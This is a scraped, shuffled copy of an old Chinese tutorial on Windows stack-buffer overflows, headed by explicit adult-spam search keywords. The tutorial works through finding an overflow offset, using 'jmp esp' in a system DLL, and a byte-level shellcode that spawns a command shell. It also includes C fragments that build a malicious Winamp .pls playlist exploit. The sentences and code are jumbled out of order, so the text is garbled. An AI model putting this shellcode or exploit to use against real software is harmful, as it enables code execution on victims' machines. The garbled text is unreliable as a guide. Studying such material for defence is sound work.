freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

windows系統(tǒng)下的堆棧溢出(完整版)

2025-10-25 16:44上一頁面

下一頁面
  

【正文】 90 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 看看出錯(cuò)信息, EIP 是 4200c3,看來已經(jīng)開始執(zhí)行我們的 shellcode了,怎么會(huì)有無效頁錯(cuò)誤呢?看來我們的 shellcode有問題。 fprintf(file, %s, eip)。 FILE *file。 指令 mov edx,0xBFF776D4 中,0xBFF776D4 是函數(shù) LoadLibraryA 的地址。 我們的 shellcode 要開一個(gè) dos 窗口。 Registers: EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206 EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4 ECX=00000000 DS=0187 ESI=00445638 FS=4bd7 EDX=005b02dc ES=0187 EDI=00000001 GS=4206 Bytes at CS:EIP: Stack dump: 50574141 54574141 58574141 42584141 46584141 4a584141 4e584141 52584141 56584141 5a584141 44594141 48594141 4c594141 50594141 根據(jù) eip=4141574c 計(jì)算得出, addr = (57h41h)*26+(4ch41h)4 = 580. 好,溢出的位置為 580。 fprintf(file, \nNumberOfEntries=1)。break。 break。 for(int x=0。 大家都有 winamp 吧,他的 有緩沖區(qū)漏洞,下面我們來實(shí)現(xiàn)一個(gè) exploit。你可以在這些 dll里面搜索你需要的指令。因此,我們可以令返回地址 A等于一個(gè)系統(tǒng)核心 dll中的指令的地址,這個(gè)指令的 作用就是 call/jmp 我們的 shellcode。 A 的內(nèi)容,就是指向 S的調(diào)用。 大家知道 windows 系統(tǒng)的用戶進(jìn)程空間是 02G,操作系統(tǒng)所占的為 24G。) (*ret) = (int)shellcode。這是肯定的,因?yàn)槲覀兊某绦蛞呀?jīng)把堆棧指針搞亂了。生成串. lea eax,[ebp0ch] 。 mov byte ptr [ebp09h],6Dh 。壓入 0, esp- 4, 。 18: 19: (ProcAdd) (cmdbuf)。 好了,現(xiàn)在可以編譯執(zhí)行,結(jié)果正確,我們得到了一個(gè) dos框。 DLL本身也有一個(gè)基本地址,該 DLL每一次被加載都是從這個(gè)基本地址加載。我們知道執(zhí)行一個(gè) 就可以獲得一個(gè) dos 窗口。 char dllbuf[11] = 。也就是說,每次運(yùn)行,name的地址都是 0x64fdd4。 C:\Program Files\DevStudio\MyProjects\bo\Debugvunera~1 12345678910111213141516171819202122232425262728293031323334353637383940 \0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0x32\0x31 \0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0x30\0x32 到這里,又出現(xiàn)了那個(gè)熟悉的對(duì)話框“改程序執(zhí)行了非法操作。amp。文章作者: ipxodi mailto: WINDOWS系統(tǒng)下的堆棧溢出 作者: ipxodi mailto: ◆原理篇 這一講我們來看看 windows 系統(tǒng)下的程序。name?!?,點(diǎn)擊詳細(xì)信息按鈕,下面是詳細(xì)信息: VUNERABLE 在 00de:32363235 的模塊 未知 中導(dǎo)致無效頁錯(cuò)誤。 講到這里,大家一定已經(jīng)發(fā)現(xiàn)了這樣一個(gè)情況:在 win 系統(tǒng)中,由于有地址沖突檢測,出錯(cuò)時(shí)寄存器影像和堆棧影像,使得我們對(duì)堆棧溢出漏洞可以進(jìn)行精確的分析溢出偏移地址。 char sysbuf[7] = system。在 C庫函數(shù)里面,語句system();將完成我們需要的功能。比如,system 函數(shù)由 (the Microsoft Visual C++ Runtime library)提供,而 每次都從 0x78000000 地址開始。 現(xiàn)在對(duì)這個(gè)程序進(jìn)行調(diào)試跟蹤匯編語言,可以得到: 15: LibHandle = LoadLibrary(dllbuf)。 00401093 lea edx,dword ptr [cmdbuf] 。作用是構(gòu)造字符串的 結(jié)尾 \0字符。 mov byte ptr [ebp08h],61h 。 push eax 。 對(duì)上面的算法進(jìn)行優(yōu)化,現(xiàn)在我們可以寫出 shellcode如下: char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }。 //修改 main()的返回地址為 shellcode的開始地址。事實(shí)上用戶進(jìn)程的加載位置為:,數(shù)據(jù)地址和堆棧指針都會(huì)含有 0,那么我們的返回地址就必然含有 0。 但是,剛才我們說過 A里面是含有 0字符的,這樣的溢出字符串,在 A處就被0 阻斷,根本無法到 shellcode。 但是他怎么才能知道我們的 shellcode的地址呢? 答案是:用寄存器。其他的 dll,比如 msvcrt。 winamp 的 playlist 支持文件 *.pls 存放playlist。x640。 case 2: buffer[x] = 39。 } } buffer[x]=0。 fclose(file)。 大家現(xiàn)在知道我們的溢出字符串中,返回地址 A應(yīng)該在串的 580處,那么我們應(yīng)該讓他使用什么 call/jmp 指令以達(dá)到shellcode呢? 看看寄存器 dump,我們發(fā)現(xiàn) ESP 里面的內(nèi)容是 41415750,恰好是 4141574c之后的第一個(gè)數(shù)。 C語言的算法描述是: LoadLibrary()。 他的代碼在 中,是被winamp 加載了的 dll。 for(int x=0。 fprintf(file, %s, shellcode)。 這個(gè)時(shí)候, s- ice 就又派上用場了,跟蹤一下看看: ctrld bpx bff795a3(就是我們的 jmp esp) x 好,現(xiàn)在運(yùn)行 winamp,打開文件,被 s- ice 攔下,開始跟蹤。 FILE *file。 fprintf(file, %s, buffer)。我們可以看到, windows 下的堆棧溢出攻擊和 unix下的,原理基本相同。甚至可能不同語言版本的 windows,其核心 dll的版本都不同。當(dāng)時(shí)我們實(shí)驗(yàn) 的exploit總是沒有成功, client端執(zhí)行完了以后 server 端我們經(jīng)??吹?access violation的框,就是因
點(diǎn)擊復(fù)制文檔內(nèi)容
公司管理相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號(hào)-1